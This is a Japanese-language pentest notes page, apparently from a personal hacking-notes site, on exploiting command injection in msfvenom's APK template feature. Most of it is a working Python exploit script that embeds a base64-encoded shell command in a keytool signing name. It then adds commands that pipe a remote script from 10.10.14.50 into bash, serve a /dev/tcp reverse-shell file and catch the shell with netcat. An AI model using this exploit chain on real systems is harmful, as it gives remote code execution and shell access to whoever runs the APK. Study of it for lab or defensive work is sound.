> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/msfvenom-apk-exploitation.md).
# Msfvenom付きAPK
keytoolコマンドインジェクション、悪意あるAPK生成、コールバック検出、リバースシェルペイロード、エクスプロイト配信のためのMsfvenom APKテンプレート注入ノート。
## msfvenom APKテンプレートのコマンドインジェクション
ポート5000で脆弱なサービスが見つかる。
関連する脆弱性を検索:
```bash
searchsploit -m multiple/local/49491.py
```
APKベースの注入の可能性が確認される。
**エクスプロイトスクリプト (msfvenom-exploit.py)**
```bash
python3 msfvenom-exploit.py
```
```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode
# ここを変更
payload = 'ping 10.10.14.50'
# 不正文字を避けるために b64encode を使用（keytool は厳しい）
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"
print(f"[+] 悪意のある apk ファイルを作成中")
print(f"ペイロード: {payload}")
print(f"-dname: {dname}")
print()
tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
# empty_file を作成
open(empty_file, "w").close()
# apk_file を作成
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# 悪意のある -dname を使って署名キーを生成
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
# 悪意のある dname を使って APK に署名
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] 完了！ apk ファイルは {apk_file} にあります")
print(f"実行: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```
このスクリプトは、悪意のある APK を含む一時ファイルを生成します。
**ICMPパケット解析**
コールバックのためにネットワーク活動を監視:
```bash
tcpdump -i tun0 icmp -n
```
### **Msfvenom を使った RCE 攻撃**
逆接続を確立するためにペイロードを変更:
```bash
# ここを変更
payload = 'curl 10.10.14.50 | bash'
```
以下を作成: `index.html` 以下を含むファイル：
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```
HTTP サーバーを起動:
```bash
python3 -m http.server 80
```
次に、ポート443で接続を待ち受ける:
```bash
nc -nlvp 443
```
APK がターゲットに送信され実行されると、リモートシェルを取得できます。
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